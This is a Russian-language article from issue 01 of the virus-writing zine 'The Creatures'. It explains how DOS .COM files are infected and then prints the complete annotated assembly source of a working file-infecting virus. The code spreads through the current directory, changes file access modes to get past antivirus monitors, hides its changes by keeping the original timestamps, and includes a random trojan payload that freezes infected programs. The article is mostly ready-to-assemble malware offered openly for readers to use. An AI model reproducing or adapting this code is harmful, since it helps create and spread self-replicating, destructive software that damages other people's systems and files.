┌──┬──┐          /╔════╗/╦══╗ /╔═══╗  ╔═══╗ /╔══╦══╗/╦   /╦/╦══╗ /╔═══╗ ╔═══╗
   │┬  ┌──       │║   /╩│║ /╚╗│║  /  │║  │║ // │║ //│║   │║│║ /╚╗│║  /╩│║ │/╩
   │├─┐│ ░░▒▒▒▓▓▓│║▓▓▓▓▓│║▓/╔╝│║▓▓▓▓▓╔╩═══╩╗▓▓▓│║▓▓▓│║▓▓▓│║│║▓/╔╝│║▓▓▓▓│║▓▒▒░
   ││ │├─        │║     │╠══╣ │║═   │║    │║   │║   │║   │║│╠══╣ │║═   /╚═══╗
   ││ ││         │║   /╦│║  ╚╗│║  /╦│║    │║   │║   │║   ╔╝│║  ╚╗│║  /╦ ╦  │║
   │┴ ┘└─┘       /╚════╝/╩  /╩/╚═══╝/╩    /╩   /╩   /╚═══╝ /╩  /╩/╚═══╝/╚═══╝
   │ THE CREATURES │ Computer Virus Magazine │                       issue 01
   │───────────────┴─────────────────────────┴───────────────────────────────
   │
   │                       ПРОФЕССИОНАЛЬНЫЕ ВИРУСЫ

═══════════════════════════════════════════════════════════════════════════════

[ к членам SGWW - в нарушении авторских прав винить мою лень      ]
[ хотя (cl) сохранен, но хрен вас знает, мож не понравится чего.. ]

      Тут в .005 писАли про вирусы на паскале... Это все конечно на юзера.
 Серьезный вирус пишется только на ассемблере. Вы не знаете ассемблера?
 Ах, вы знаете ассемблер? Ха-ха! Знать мнеМОНИКУ - это конечно недостаточно...
 хотя необходимо :)
      Если вы никогда не писали вируса на ассемблере, то вот вам простейший
 пример - нерезидентный COM-вирус с радиусом действия в текущем каталоге.
 Фуфло? Ну... вы хотя бы в _это_ фуфло попробуйте врубиться..... >:-))
      Итак, как заразить COM-файл?
     Рассмотрим  "чистые" файлы данного формата (т.е. не .EXE переименованый в
.COM).  Данные  файлы  не  могут  занимать  более  64  килобайт.При компиляции
такого   файла  создаются  исполняемые  команды  и  поля  данных  определенные
программистом  в  процессе  написания  программы.  При запуске такой программы
операционная  система загружает файл с диска в свободное адресное пространство
с  адреса  [текущий  свободный  сегмент : 0100h] и передает управление на оный
адрес  (т.е.  точка старта 0100h - константа!) Для заражения .COM файла вирусу
надо  дописать в этот файл свой код таким образом,чтобы тот получил управление
при  старте зараженой программы! (это общепринятый прием при разработке любого
вируса)
  Что КОНКРЕТНО может сделать вирус?
а) В простейшем случае можно поверх оригинального начала файла записать
  вирусный код.
   Тогда при старте зараженного файла этот код получит управление
  (что ему собственно и нужно). Hо затерев начальную часть оригинального
  кода мы лишимся работоспособности оригинальной (не зараженной) программы!
б) Дабы избавиться от недостатка случая а), в место того,чтобы просто
  затереть начало файла своим кодом - мы считываем ВЕСЬ файл в память,
  перезаписываем его начальный код на диске телом вируса и после вируса
  дописываем в файл ранее считанную программу!
   Теперь при старте вируса,тот делает что ему нужно,а после этого переносит
  код лежащий после его (вируса) тела под смещение 0100h и передает туда
  управление.В итоге работает и вирус и оригинальная программа!
   Hадо упомянуть об ограничении на длину результирующего (вирус+оригинальная
  программа) файла -> он должен быть =< 64 килобайт.
в) Этот случай самый распространенный:
   Мы считываем некоторое количество байт из начала файла в тело вируса,
  а затем прямо в начало заражаемой программы записываем код дальнего
  перехода jmp near Label (E9h, dw offset Label) причем адрес для перехода
  расчитываем таким образом,чтобы при запуске измененного таким образом
  файла,переход передал бы управление сразу за концом оригинального кода
  программы,а в этот самый конец мы и запишем тело вируса с сохраненными
  в нем оригинальными байтами!
      Иллюстрация:
 ╔═══════════════════════╗ <- Hачало файла
 ║ jmp near Label        ║ <- команда занимает три байта!!!
 ║ --------------------- ║
 ║  ОРИГИHАЛЬHАЯ         ║
 ║  ПРОГРАММА            ║
 ║(без трех первых байт) ║
 ║ --------------------- ║
 ║ Label:                ║ <- Сюда направлен адрес перехода
 ║ ТЕЛО ВИРУСА           ║
 ║(три сохраненных байта)║ <- Их мы перенесем под 0100h
 ╚═══════════════════════╝ MAX=65535
   Теперь при старте программы выполнится переход запускающий вирус,
  тот из своего тела перенесет сохраненное начало файла под смещение 0100h,
  вирус производит нужные ему действия и передает управление на 0100h.

Теперь - как это будет выглядеть:
      1 ; Простейший COM.virus
      2 ;
      3 ; Copyleft (cl) by Transformer 1994
      4 ;-------
      5 ;            константы:
      6       = FC00 SavePSP         EQU     0FC00H  ; начало буфера для PSP,
      7       = FD00 SaveBeg         EQU     0FD00H  ; начало "буфера начала",
      8       = FF00 SaveRest        EQU     0FF00H  ; начало восстановителя.
      9 ;-------
     10 0000            CSEG    SEGMENT PARA 'Code'
     11                         ASSUME  CS:CSEG,DS:CSEG,ES:CSEG,SS:CSEG
     12                         ORG     100H
     13 0100            MAIN    PROC    NEAR         ; Основная процедура:
     14 0100  90                NOP                  ; признак заражености
     15 0101  FC                CLD

     16 0102  33 F6             XOR     SI,SI
     17 0104  BF FC00           MOV     DI,SavePSP
     18 0107  B9 0100           MOV     CX,100H
     19 010A  51                PUSH    CX
     20 010B  F3> A4            REPE    MOVSB        ; сохранить начальный PSP

; вместо этого можно установить DTA на SavePSP, а потом восстановить
; (по окончании работы вируса)

     21 010D  06                PUSH    ES
     22 010E  B8 3524           MOV     AX,3524H     ; сохранить
     23 0111  CD 21             INT     21H          ; обработчика INT 24H
     24 0113  89 1E 0224r       MOV     SaveOff,BX
     25 0117  8C 06 0222r       MOV     SaveSeg,ES
     26 011B  07                POP     ES
     27 011C  B8 2524           MOV     AX,2524H
     28 011F  BA 0219r          LEA     DX,DoINT24   ; поставить своего
     29 0122  CD 21             INT     21H          ; обработчика INT 24H
     30 0124  BA 0080           MOV     DX,80H
     31 0127  B4 1A             MOV     AH,1AH       ; дополнительно
     32 0129  CD 21             INT     21H          ; указать DTA
     33 012B  B4 4E             MOV     AH,4EH       ; найти первую жертву
     34 012D  B1 E3             MOV     CL,11100011B ; атрибуты для поиска
     35 012F            FindFile:
     36 012F  BA 021Cr          LEA     DX,MSK       ; текущий каталог
     37 0132  CD 21             INT     21H
     38 0134  3D 0012           CMP     AX,12H       ; жертв уже нет ?
     39 0137  75 03             JNE     CheckLen
     40 0139  E9 00AB           JMP     SoftError
     41 013C            CheckLen:
     42 013C  A0 009B           MOV     AL,BYTE PTR [DS:9BH]
     43 013F  3C F7             CMP     AL,0F7H
     44 0141  77 32             JA      FindNext     ; FileLength > 0f700h ?
     45 0143  3C 02             CMP     AL,02H
     46 0145  76 2E             JNA     FindNext     ; FileLength < 0200h ?
     47 0147  B8 3D00           MOV     AX,3D00H
     48 014A  BA 009E           MOV     DX,9EH
     49 014D  CD 21             INT     21H          ; открыть файл-жертву

                ; Комментарий от pretender'a:
                ; Файл открывается ОДИН РАЗ, и открывается ДЛЯ ЧТЕНИЯ
                ; (пояснения см ниже)

     50 014F  72 24             JC      FindNext
     51 0151  8B D8             MOV     BX,AX
     52 0153  B4 3F             MOV     AH,3FH
     53 0155  B9 0129r          LEA     CX,LVirus
     54 0158  BA FD00           MOV     DX,SaveBeg
     55 015B  CD 21             INT     21H          ; считать начало файла
     56 015D  80 3E FD00 90     CMP     BYTE PTR [DS:SaveBeg],90H
     57 0162  74 08             JE      CloseFile
     58 0164  81 3E FD00 5A4D   CMP     WORD PTR [DS:SaveBeg],'ZM'
     59 016A  75 0D             JNE     Infect       ; проверки на EXE
     60 016C            CloseFile:                   ; и заразу пройдены ?
     61 016C  B4 3E             MOV     AH,3EH
     62 016E  CD 21             INT     21H          ; закрыть файл
     63 0170  73 03             JNC     FindNext     ; диск защищен ?
     64 0172  EB 73 90          JMP     SoftError
     65 0175            FindNext:
     66 0175  B4 4F             MOV     AH,4FH
     67 0177  EB B6             JMP     FindFile     ; найти новый файл
     68 0179            Infect:
     69       ;         поменять режим доступа к жертве в SFT

                ; Еще один комментарий от pretender'a:
                ; Конечто, тут можно было бы просто открыть файл для записи...
                ; Но если в этот момент работает МОНИТОР -->  |-[, то и пу-пу вирусу
                ; Тем более, что данный | способ позволяет писать в Hidden и R/O
                ;                       V
     70 0179  53                PUSH    BX
     71 017A  06                PUSH    ES
     72 017B  B8 1220           MOV     AX,1220H
     73 017E  CD 2F             INT     2FH
     74 0180  26: 8A 1D         MOV     BL,BYTE PTR [ES:DI]
     75 0183  B8 1216           MOV     AX,1216H
     76 0186  CD 2F             INT     2FH
     77 0188  26: C6 45 02 02   MOV     BYTE PTR [ES:DI+2],2
     78 018D  07                POP     ES
     79 018E  5B                POP     BX
     80 018F  A1 0212r          MOV     AX,LFile
     81 0192  50                PUSH    AX            ; сохранить адрес
     82 0193  A1 009A           MOV     AX,WORD PTR [DS:9AH]
     83 0196  05 0100           ADD     AX,100H
     84 0199  A3 0212r          MOV     LFile,AX      ; новый адрес
     85 019C  E4 40             IN      AL,40H
     86 019E  24 0F             AND     AL,15         ; проверить таймер
     87 01A0  75 09             JNE     CopyVirus
     88 01A2  B9 0226r          LEA     CX,HitData    ; данные
     89 01A5  51                PUSH    CX            ; для троянизации
     90 01A6  B9 0003           MOV     CX,3
     91 01A9  EB 07             JMP     SHORT   WriteData
     92 01AB            CopyVirus:
     93 01AB  B9 0100           MOV     CX,100H       ; данные
     94 01AE  51                PUSH    CX            ; для копирования
     95 01AF  B9 0129r          LEA     CX,LVirus
     96 01B2            WriteData:
     97 01B2  51                PUSH    CX
     98 01B3  33 C9             XOR     CX,CX
     99 01B5  33 D2             XOR     DX,DX
    100 01B7  B8 4202           MOV     AX,4202H
    101 01BA  CD 21             INT     21H          ; перейти в конец файла
    102 01BC  59                POP     CX
    103 01BD  51                PUSH    CX
    104 01BE  B4 40             MOV     AH,40H
    105 01C0  BA FD00           MOV     DX,SaveBeg
    106 01C3  CD 21             INT     21H          ; записать первые байты
    107 01C5  33 C9             XOR     CX,CX
    108 01C7  33 D2             XOR     DX,DX
    109 01C9  B8 4200           MOV     AX,4200H
    110 01CC  CD 21             INT     21H          ; перейти в начало файла
    111 01CE  59                POP     CX
    112 01CF  5A                POP     DX
    113 01D0  B4 40             MOV     AH,40H
    114 01D2  CD 21             INT     21H          ; записать новое начало
    115 01D4  58                POP     AX
    116 01D5  A3 0212r          MOV     LFile,AX     ; восстановить адрес
    117 01D8  B8 5701           MOV     AX,5701H
    118 01DB  8B 16 0098        MOV     DX,WORD PTR [DS:98H]
    119 01DF  8B 0E 0096        MOV     CX,WORD PTR [DS:96H]
    120 01E3  CD 21             INT     21H          ; восстановить время
    121 01E5  EB 85             JMP     CloseFile
    122 01E7            SoftError:                   ; восстановление носителя
    123 01E7  1E                PUSH    DS
    124 01E8  8B 16 0224r       MOV     DX,SaveOff
    125 01EC  A1 0222r          MOV     AX,SaveSeg
    126 01EF  8E D8             MOV     DS,AX
    127 01F1  B8 2524           MOV     AX,2524H     ; восстановить
    128 01F4  CD 21             INT     21H          ; обработчика INT 24H
    129 01F6  1F                POP     DS
    130 01F7  BF FF00           MOV     DI,SaveRest
    131 01FA  57                PUSH    DI           ; подготовить стек
    132 01FB  BE 0216r          LEA     SI,Recall
    133 01FE  B9 0003           MOV     CX,3         ; переместить
    134 0201  F3> A4            REPE    MOVSB        ; восстановителя
    135 0203  BE FC00           MOV     SI,SavePSP
    136 0206  33 FF             XOR     DI,DI
    137 0208  B9 0100           MOV     CX,100H
    138 020B  51                PUSH    CX
    139 020C  F3> A4            REPE    MOVSB        ; восстановить PSP
    140 020E  B9 0129r          LEA     CX,LVirus
    141 0211  BE                DB      10111110B    ; команда MOV SI,...
    142 0212  0229r     LFile   DW      LVirus+100H  ; ...LVirus+100H
    143 0214  5F                POP     DI
    144 0215  C3                RET
    145 0216            Recall:                      ; восстановитель носителя
    146 0216  F3> A4            REPE    MOVSB
    147 0218  C3                RET
    148 0219            MAIN    ENDP
    149       ;-------
    150 0219            DoINT24 PROC    FAR          ; обработчик INT 24H
    151 0219  B0 03             MOV     AL,3
    152 021B  CF                IRET
    153 021C            DoINT24 ENDP
    154       ;-------
    155       ;         Данные программы:
    156 021C  2A 2E 63 6F 6D 00 MSK     DB      '*.com',0
    157 0222  ????      SaveSeg DW           ?
    158 0224  ????      SaveOff DW           ?
    159       ;-------
    160 0226            HitData LABEL   BYTE          ; троянская часть
    161 0226  90                NOP
    162 0227  FA                CLI
    163 0228  F4                HLT
    164       ;-------
    165       ;      метка конца вируса
    166       = CSEG:0129       LVirus  EQU     $-100H
    167 0229  CD 20             INT     20H          ; "выродженный носитель"
    168 022B            CSEG    ENDS
    169                         END     MAIN

Небольшие пояснения.

        Распределение сегмента при загрузке носителя:
    0000h       -       0100h           - PSP носителя,
    0100h       -       LVir+100h       - само изделие,
    LVir+100h   -       LProg+100h      - конец носителя,
    LProg+100h  -       LProg+LVir+100h - начало носителя,
    FC00h       -       FD00h           - буфер для PSP,
    FD00h       -       FD00h+LVir      - начало новой жертвы,
    FF00h       -       FF03h           - восстановитель.
     Как  Вы  поймете,  данное  изделие заражает COM-файлы в текущем каталоге,
 причем    оно   проверяет   первые   байты   объекта   заражения,   то   есть,
 замаскированные  EXE-файлы  не  трогает.  Признаком заражения я выбрал "Первый
 байт  файла  равен  90h".  Хоть  сигнатура  из  одного байта вряд ли обеспечит
 нужную  однозначность  заражения,  но хоть к тупым безруковским дрозофилам мое
 изделие  цепляться  не будет. Область заражения - текущий каталог - выбрана из
 соображений  простоты  (  PATH - к сожалению, легко обманывается; обход дерева
 каталогов  -  красиво, но долго; текущий и корневой - овчинка выделки не стоит).
 Программа  обеспечивает  сохранение PSP и времени последней записи в файл,
 встроенный  обработчик  INT  24h  позволяет  запускать  зараженные программы с
 защищенных  от записи дискет без надоедливых сообщений типа "Abort,Retry,...".

Ну а действительно  нормальные вирусы  - в следующих номерах Creatures!
                    ^^^^^^^^^^^^^^^^^

                    ThePretender